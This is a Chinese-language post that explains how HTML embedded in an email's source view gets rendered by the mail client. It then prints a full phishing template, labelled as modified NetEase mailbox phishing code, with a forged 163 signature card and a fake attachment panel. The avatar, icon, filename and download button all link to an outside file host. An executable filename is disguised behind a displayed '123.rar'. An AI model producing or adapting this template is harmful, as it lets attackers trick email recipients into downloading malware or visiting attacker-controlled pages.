在编辑邮件时以源码形式编辑，则可以嵌入html代码，邮件系统并会渲染解析该html。
我们所看到的“附件样式”是嵌入在其中的html代码，并不是真的附件，点击下载会跳转到其他链接。如果规避了浏览器跨域问题，就真的天衣无缝。
最后附上修改后的网易邮箱的钓鱼源码：这个源码还要解决两件事，就是钓鱼链接跨域问题，以及图片显示问题。
<html>
<head>
</head>
<body>
<style>
font {
line-height: 1.6;
}
ul,
ol {
padding-left: 20px;
list-style-position: inside;
}
</style>
<div style="font-family:微软雅黑,Verdana,"Microsoft Yahei",SimSun,sans-serif;font-size:14px; line-height:1.6;">
<div></div>
<div>
<div>
<span>
<br>
</span>
</div>
<div>
<span>
<br>
</span>
</div>
<div id="ntes-pcmac-signature" style="font-family:'微软雅黑'">
<div style="font-size:14px; padding: 0; margin:0;line-height:14px;">
<div style="padding-bottom:6px;margin-bottom:10px;border-bottom:1px solid #e6e6e6;display:inline-block;">
<!-- 头像跳转链接 -->
<a href="http://pan.shadowslab.cn/%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8/123" style="display:block;background:#fff; max-width: 400px; _width: 400px;padding:15px 0 10px 0;text-decoration: none; outline:none;-webkit-tap-highlight-color:transparent;-webkit-text-size-adjust:none !important;text-size-adjust:none !important;">
<table cellpadding="0" style="width: 100%; max-width: 100%; table-layout: fixed; border-collapse: collapse;color: #9b9ea1;font-size: 14px;line-height:1.3;-webkit-text-size-adjust:none !important;text-size-adjust:none !important;">
<tbody style="font-family: 'PingFang SC', 'Hiragino Sans GB','WenQuanYi Micro Hei', 'Microsoft Yahei', '微软雅黑', verdana !important; word-wrap:break-word; word-break:break-all;-webkit-text-size-adjust:none !important;text-size-adjust:none !important;">
<tr>
<td width="38" style="padding:0; box-sizing: border-box; width: 38px;">
<img width="38" height="38" style="vertical-align:middle; width: 38px; height: 38px; border-radius:50%;" src="data:image/png;base64,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">
</td>
<td style="padding: 0 0 0 10px; color: #31353b;">
<div style="font-size: 16px;font-weight:bold; width:100%; white-space: nowrap; overflow:hidden;text-overflow: ellipsis;">
<!-- 发件人名 -->
张三
</div>
</td>
</tr>
<tr width="100%" style="font-size: 14px !important; width: 100%;">
<td colspan="2" style="padding:10px 0 0 0; font-size:14px !important; width: 100%;">
<div style="width: 100%;font-size: 14px !important;word-wrap:break-word;word-break:break-all;">
<!-- 发件人邮箱 -->
123456@qq.com
</div>
</td>
</tr>
</tbody>
</table>
</a>
</div>
</div>
<div style="font-size:12px;color:#b5b9bd;line-height:18px;">
<span>签名由</span>
<a style="text-decoration: none;color:#4196ff;padding:0 5px;" href="https://mail.163.com/dashi/dlpro.html?from=mail81">网易邮箱大师</a>
<span>定制</span>
</div>
<br>
</div>
</div>
<div id="divNeteaseBigAttach1" style="clear:both;margin-top:10px;margin-bottom:15px;background:#DEEBFA;padding:4px;font-family:verdana,Arial,Helvetica,sans-serif">
<div style="font-size:14px;font-weight:bold;padding:4px 8px 8px 8px;line-height:16px"> <b>附件(1)</b> </div>
<div style="background:#fff;padding:5px">
<div style="clear:both;height:32px;padding:5px;">
<div style="float:left;width:28px;height:28px;padding:2px 8px 2px 2px;">
<!-- 图标跳转链接 -->
<a href="http://pan.shadowslab.cn/%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8/123" target="_self">
<!-- 图标链接 -->
<img border="0" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABwAAAAcCAMAAABF0y+mAAAADFBMVEVMaXFZpPBZpPD///+O5P+iAAAAAnRSTlMAxOqay5EAAAA3SURBVHja3ZMxCgAwDAIv9v9/7mgJpBC6hN564CAKoYIAVDJWrkRH6uAv+d6QcXpHOnrwhq532K8fBhkz3ILrAAAAAElFTkSuQmCC"></a>
</div>
<div>
<div style="padding:0;font-size:12px;line-height:14px">
<!-- href图标旁文字跳转链接 -->
<!-- download是下载文件的名称 -->
<a href="http://pan.shadowslab.cn/%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8/123" download="1456.txt" fileid="-4" filename="W.P.S.9912.12012.2019.exe" filesize="154122664" expiretime="1599725694000" target="_self" style="color:#000;text-decoration:none">
<!-- 文件名 -->
123.rar
</a>
<span style="color:#bbb">(1.0KB,14天后过期)</span>
</div>
<div class="mm_downloadButton" style="padding:2px 0;font-size:12px;line-height:14px;color:#3593db;">
<!-- 下载跳转链接 -->
<a href="http://pan.shadowslab.cn/%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8/123" download="456" target="_self">下载</a>
</div>
</div>
</div>
</div>
</div>
</div>
</body>
</html>
